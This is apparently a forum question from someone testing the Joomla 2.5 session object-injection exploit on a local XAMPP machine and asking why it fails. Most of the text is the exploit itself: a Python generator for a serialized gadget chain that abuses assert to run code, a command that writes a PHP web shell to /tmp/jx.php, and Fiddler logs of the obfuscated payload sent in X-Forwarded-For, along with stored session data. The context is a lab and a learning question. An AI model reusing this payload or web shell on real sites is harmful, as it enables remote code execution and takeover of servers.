I have read and understand object injection from this question. Then I wanted to test the security issue behind Joomla CMS Object injection through serialization.
TEST MACHINE
- xammp 1.7.3 for windows
- Apache/2.2.14 (Win32)
- PHP/5.3.1
- Joomla 2.5.11
- fiddler
EXPLOIT
def generate_payload(php_payload):
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
terminate = '\xf0\xfd\xfd\xfd';
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
return exploit_template
pl = generate_payload("system('echo \"<?php \$cmd=\$_GET[\\'cmd\\']; echo system(\$cmd); shell_exec ( string $cmd ) : string;?>\" > /tmp/jx.php');")
print get_url("http://127.0.0.1/", pl, "store_true")
First I tested if my machine is exploitable using the available exploits but they all failed or maybe I am the one who didnt understand so please help me understand whats happening exactly.
Here is what i can see through fiddler:
The exploit makes 4 requests with the first response a little different from the rest (it uses the store_true
method to set the cookie I guess).
GET http://127.0.0.1/ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:1041:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(101).chr(99).chr(104).chr(111).chr(32).chr(34).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(92).chr(36).chr(99).chr(109).chr(100).chr(61).chr(92).chr(36).chr(95).chr(71).chr(69).chr(84).chr(91).chr(92).chr(39).chr(99).chr(109).chr(100).chr(92).chr(39).chr(93).chr(59).chr(32).chr(101).chr(99).chr(104).chr(111).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(92).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(115).chr(104).chr(101).chr(108).chr(108).chr(95).chr(101).chr(120).chr(101).chr(99).chr(32).chr(40).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).chr(103).chr(32).chr(36).chr(99).chr(109).chr(100).chr(32).chr(41).chr(32).chr(58).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).chr(103).chr(59).chr(63).chr(62).chr(34).chr(32).chr(62).chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(106).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}
This is the first response:
HTTP/1.1 200 OK
Date: Fri, 01 Feb 2019 07:47:00 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Set-Cookie: f9c39f9608ec4593c02925f43b3c97db=v5jlhjodjp58el3jh5meanohl0; path=/
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Cache-Control: no-cache
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 15156
Then the second request:
GET http://127.0.0.1/ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:1041:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(101).chr(99).chr(104).chr(111).chr(32).chr(34).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(92).chr(36).chr(99).chr(109).chr(100).chr(61).chr(92).chr(36).chr(95).chr(71).chr(69).chr(84).chr(91).chr(92).chr(39).chr(99).chr(109).chr(100).chr(92).chr(39).chr(93).chr(59).chr(32).chr(101).chr(99).chr(104).chr(111).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(92).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(115).chr(104).chr(101).chr(108).chr(108).chr(95).chr(101).chr(120).chr(101).chr(99).chr(32).chr(40).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).chr(103).chr(32).chr(36).chr(99).chr(109).chr(100).chr(32).chr(41).chr(32).chr(58).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).chr(103).chr(59).chr(63).chr(62).chr(34).chr(32).chr(62).chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(106).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}
Cookie: f9c39f9608ec4593c02925f43b3c97db=v5jlhjodjp58el3jh5meanohl0
The second response:
HTTP/1.1 200 OK
Date: Fri, 01 Feb 2019 07:47:00 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Cache-Control: no-cache
Pragma: no-cache
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 15156
I have noticed that the first request set the cookie and the later uses the cookies so I thought that's where the magic happens so I kept in mind that un-serialization
follows then __destruct
. But the question is where and when?
So the cookies are stored in the database serialized along with user agent (which by the way is malicious)
__default|a:9:{s:15:"session.counter";i:4;s:19:"session.timer.start";i:1549007220;s:18:"session.timer.last";i:1549007221;s:17:"session.timer.now";i:1549007222;s:24:"session.client.forwarded";s:1426:"}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:1041:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(101).chr(99).chr(104).chr(111).chr(32).chr(34).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(92).chr(36).chr(99).chr(109).chr(100).chr(61).chr(92).chr(36).chr(95).chr(71).chr(69).chr(84).chr(91).chr(92).chr(39).chr(99).chr(109).chr(100).chr(92).chr(39).chr(93).chr(59).chr(32).chr(101).chr(99).chr(104).chr(111).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(92).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(115).chr(104).chr(101).chr(108).chr(108).chr(95).chr(101).chr(120).chr(101).chr(99).chr(32).chr(40).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).chr(103).chr(32).chr(36).chr(99).chr(109).chr(100).chr(32).chr(41).chr(32).chr(58).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).chr(103).chr(59).chr(63).chr(62).chr(34).chr(32).chr(62).chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(106).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}����";s:22:"session.client.browser";s:78:"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0";s:8:"registry";O:9:"JRegistry":1:{s:7:"*data";O:8:"stdClass":0:{}}s:4:"user";O:5:"JUser":25:{s:9:"*isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:8:"usertype";N;s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:0:{}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:10:"*_params";O:9:"JRegistry":1:{s:7:"*data";O:8:"stdClass":0:{}}s:14:"*_authGroups";a:1:{i:0;i:1;}s:14:"*_authLevels";a:2:{i:0;i:1;i:1;i:1;}s:15:"*_authActions";N;s:12:"*_errorMsg";N;s:10:"*_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"b87e0280d138620307806718cd6f3102";}
Why cant the payload execute when accessing the session cookie?
Is it because the its windows? Or php 5.3's eval()
?